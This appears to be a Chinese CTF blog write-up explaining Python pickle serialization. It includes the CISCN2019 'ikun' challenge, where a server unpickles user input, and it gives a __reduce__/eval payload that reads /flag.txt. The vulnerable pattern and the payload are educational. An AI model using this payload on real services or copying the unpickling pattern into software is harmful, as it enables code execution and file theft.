It has been 620 days since the last update, the content of the article may be outdated.

序列化与反序列化

python的序列化和反序列化基本与php反序列化大致相同,但是python反序列化中,可以比较自由的创建新的属性和命令来调用
例如

bash
1
2
3
4
5
6
7
8
9
10
import pickle

class tmp():
text = "123"

text = tmp()
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext)

添加一些函数和变量后

bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle

class tmp():
text = "123"

def __init__(self, text):
self.text = text

def __reduce__(self):
return (tmp,("helloworld",))

text = tmp('aa')
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)

运行后可以看到,我们自己添加的hello world出现在了序列化字符串中。
具体解释可以看这位sijidou的博客
在上述两个函数中,pickle.dumps,pickle.loads分别对应序列化和反序列化。

[CISCN2019 华北赛区 Day1 Web2]ikun

这道题内包含JWT,这个东西类似与session识别用户信息,用于登录,伪造在在线网站给予密钥就可以伪造。
主要还是认识python反序列化,在最后一步中,获得了程序源码,找到python代码漏洞
其中直接利用点为

bash
1
2
3
become=self.get_argument('become')
p=pickle.loads(urllib.unquote(become))
retrun self.render('form.html',res=p,member=1)

构造序列化payload

bash
1
2
3
4
5
6
7
8
9
10
11
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)#对应urllib.unquote,也就是url编码
print a

由于python3中urllib库内urllib.quote(a)并不能使用,更换类似函数也无法使其执行命令
所以还是建议用python2运行得到url编码后的序列化字符串。

Python 序列化与反序列化的其他函数

python的序列化和反序列化一般通过pickle模块进行(也有json、messagepack等多种方式,但CTF常用pickle),序列化和反序列化的方法:

bash
1
2
3
4
5
6
序列化
pickle.dump()或pickle.dumps()
Pickler().dump()
反序列化
pickle.load()或pickle.loads()
Unpickler(file).load()